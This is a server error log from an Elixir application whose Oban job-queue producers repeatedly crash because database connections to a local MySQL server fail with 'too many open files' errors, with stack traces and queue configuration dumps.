[Sat Sep  5 23:35:21.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:22.753000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:25.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:35:15.239413Z], limit: 3, uuid: "7f74cbf9-ea06-477c-933d-cbe2998c9774", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:15.239418Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18153>, refresh_timer: #Reference<0.2525715032.1121189889.123908>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:35:15.239027Z], limit: 5, uuid: "b8b9a552-0c53-4274-99dc-722a0be293cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:15.239033Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.123931>, refresh_timer: #Reference<0.2525715032.1121189889.123890>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:27.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:35:15.238694Z], limit: 5, uuid: "0b9761b6-bba4-4293-980b-305fec5d1b8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:15.238701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.123932>, refresh_timer: #Reference<0.2525715032.1099431938.23417>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:35:15.239211Z], limit: 20, uuid: "e0faad70-f8c3-4895-8963-0e0fb1f2ea7f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:15.239216Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.123930>, refresh_timer: #Reference<0.2525715032.1121189889.123900>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:35:15.239120Z], limit: 10, uuid: "d8ecf59b-cd27-4145-8b9a-2593a7f083fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:15.239126Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18155>, refresh_timer: #Reference<0.2525715032.1077411843.253044>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:35:15.240130Z], limit: 50, uuid: "3fde2134-5186-4660-a69a-b2f2fe913109", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:15.240136Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18154>, refresh_timer: #Reference<0.2525715032.1099431938.23443>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:29.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:29.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:31.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:34.055000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:37.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:35:27.244209Z], limit: 5, uuid: "955923eb-cf02-47c0-b087-62338ecb9842", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:27.244215Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18479>, refresh_timer: #Reference<0.2525715032.1068498948.18453>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:35:27.248315Z], limit: 10, uuid: "1359c267-1b15-498f-a13e-2be61208524b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:27.248321Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.253222>, refresh_timer: #Reference<0.2525715032.1077411843.253221>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
